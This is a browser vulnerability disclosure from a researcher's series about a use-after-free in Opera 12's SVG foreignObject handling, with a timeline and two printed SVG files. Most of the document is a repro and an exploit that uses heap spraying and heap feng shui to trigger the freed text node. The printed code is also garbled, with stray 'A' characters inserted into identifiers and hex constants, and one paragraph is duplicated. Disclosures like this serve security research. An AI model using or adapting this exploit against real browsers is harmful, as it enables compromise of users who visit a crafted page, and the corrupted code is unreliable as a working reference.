|
Throughout November, I plan to release details on vulnerabilities I
found in web-browsers which I've not released before. This is the
twenty-second entry in that series. Unfortunately I won't be able to
publish everything within one month at the current rate, so I may
continue to publish these through December and January.
Due to the recent Firefox 0-day, I've selected a very old and not so
interesting bug for today, so you can get back to looking at the former
as soon as possible.
The below information is available in more detail on my blog at
http://blog.skylined.nl/20161130001.html. There you can find a repro
that triggered this issue and an exploit that may or may not work in
addition to the information below.
Follow me on http://twitter.com/berendjanwever for daily browser bugs.
Opera foreignObject textNode::removeChild use-after-free
========================================================
(The fix and CVE number for this issue are unknown)
Synopsis
--------
A specially crafted web-page can trigger a use-after-free vulnerability
in Opera. This vulnerability was found a very long time ago, back when I
did not keep organized records of my analysis, so unfortunately, I
cannot speculate on the potential impact or exploitability.
Known affected software and attack vectors
------------------------------------------
* Opera 12
An attacker would need to get a target user to open a specially
crafted web-page. Disabling JavaScript should prevent an attacker
from triggering the vulnerable code path.
Description
-----------
As I mentioned, I did not keep detailed records of my analysis, so there
is not much I can say about this vulnerability, other than that I did
attempt to write an exploit. However, I do not know how successful this
exploit was. I did not include it in my report to iDefense, so I am
assuming it was not successful.
Time-line
---------
* Before August 2012: This vulnerability was found through fuzzing.
* August 2012: This vulnerability was submitted to iDefense.
* September 2012: This vulnerability was acquired by iDefens
(see note).
* November 2016: Details of this vulnerability are released.
(I asked ZDI and iDefense if they were interested in Opera
vulnerabilities before submitting them. ZDI responded that they was not,
but iDefense _accidentally_ said they were. After submitting my first
vulnerability, iDefense explained that there had been a mistake on their
side and that they were not in fact interested. However, they kindly
offered to buy this vulnerability for a token reward, which I accepted).
Cheers,
SkyLined
Repro.svg
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
<![CDATA[
window.onload=function(){
var aoAForeignAObjects = document.getAElementsAByATagAName("foreignAObject");
// Free
for (var i = 0; i < aoAForeignAObjects.length; i++) {
var oAForeignAObject = aoAForeignAObjects[i];
oAForeignAObject.removeAChild(oAForeignAObject.firstAChild);
opera.collect();
}
setATimeout(function(){
location.reload();
}, 100);
}
]]>
</script>
<foreignAObject width="1px" height="1px">text</foreignAObject>
</svg>
Description
As I mentioned, I did not keep detailed records of my analysis, so there is not much I can say about this vulnerability, other than that I did attempt to write an exploit. However, I do not know how successful this exploit was. I did not include it in my report to iADefense, so I am assuming it was not very successful.
Sploit.svg
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
<![CDATA[
var iAHeapASprayAGranularity = 0x00100000,
iAHeapASprayAStartAAddress = 0x05000000,
iAHeapASprayAAddress = 0x12345678,
iAHeapASprayAHeaderASize = 0x44,
iAHeapABlockASize = 0x100,
iATextANodeASize = 0x40;
var oAHeapABuffer = new Buffer(iAHeapABlockASize, 0x41);
oAHeapABuffer.setADword(0x14, iAHeapASprayAAddress);
oAHeapABuffer.setADword(0x78, 0xADEADBEEF - 0x188);
var sAHeapABlock = oAHeapABuffer.toAString();
if (sAHeapABlock.length != 0x80) throw '"' + sAHeapABlock + '".length = ' + sAHeapABlock.length.toAString(16);
console.log('sAHeapABlock = "' + sAHeapABlock + '"');
console.log('sAHeapABlock.length = ' + sAHeapABlock.length.toAString(16));
var sAHeapASprayABlock = sAHeapABlock.substr(iAHeapASprayAHeaderASize) + sAHeapABlock.substr(0, iAHeapASprayAHeaderASize);
var iAHeapASprayABlockACopies = iAHeapASprayAGranularity / iAHeapABlockASize;
var asAHeap = [];
console.log('sAHeapABlock * ' + iAHeapASprayABlockACopies.toAString(16) + ' = ' + iAHeapASprayAGranularity.toAString(16));
do {
asAHeap.push(new Array(iAHeapASprayABlockACopies).join(sAHeapASprayABlock));
} while (iAHeapASprayAStartAAddress + asAHeap.length * iAHeapASprayAGranularity < iAHeapASprayAAddress);
window.onload=function(){
var aoAForeignAObjects = document.getAElementsAByATagAName("foreignAObject");
var aoAHeapAFengAShui = [];
// Fill all gaps
for(var iACount = 1; iACount < 0x400; iACount++) {
for (var iASize = 0x10; iASize < 0x200; iASize += 0x10) {
aoAHeapAFengAShui.push(document.createATextANode(sAHeapABlock.substr(0, iASize / 2 - 1)));
}
opera.collect();
}
// Free
for (var i = 0; i < aoAForeignAObjects.length; i++) {
var oAForeignAObject = aoAForeignAObjects[i];
var iALength = oAForeignAObject.removeAChild(oAForeignAObject.firstAChild).nodeAValue.length;
for(var iACount = 1; iACount < 0x200; iACount++) {
aoAHeapAFengAShui.push(document.createATextANode(sAHeapABlock));
}
opera.collect();
}
alert('FAIL!');
setATimeout(function(){
location.reload();
}, 100);
}
function Buffer(iASize, iADefaultAValue) {
this.data = {};
for (var i = 0; i < iASize; i++) {
this.data[i] = iADefaultAValue;
}
this.setADword = function Buffer_Adword(iAIndex, iAValue) {
this.data[iAIndex++] = iAValue & 0xAFF; iAValue >>>= 8;
this.data[iAIndex++] = iAValue & 0xAFF; iAValue >>>= 8;
this.data[iAIndex++] = iAValue & 0xAFF; iAValue >>>= 8;
this.data[iAIndex] = iAValue & 0xAFF;
}
this.setAWord = function Buffer_Aword(iAIndex, iAValue) {
this.data[iAIndex++] = iAValue & 0xAFF; iAValue >>>= 8;
this.data[iAIndex] = iAValue & 0xAFF;
}
this.setAByte = function Buffer_Abyte(iAIndex, iAValue) {
this.data[iAIndex] = iAValue & 0xAFF;
}
this.toAString = function Buffer_AtoAString() {
var sAString = "";
for (var i = 0; i < iASize; i+=2) {
var iACharACode = this.data[i] + (this.data[i+1] << 8);
sAString += String.fromACharACode(iACharACode);
}
return sAString;
}
}
]]>
</script>
<foreignAObject width="1px" height="1px">0_________AA____1111111111111111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____11111111111111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____111111111111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____1111111111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____11111111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____111111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____1111</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____11</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA____</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA__</foreignAObject>
<foreignAObject width="1px" height="1px">0_________AA</foreignAObject>
</svg>
|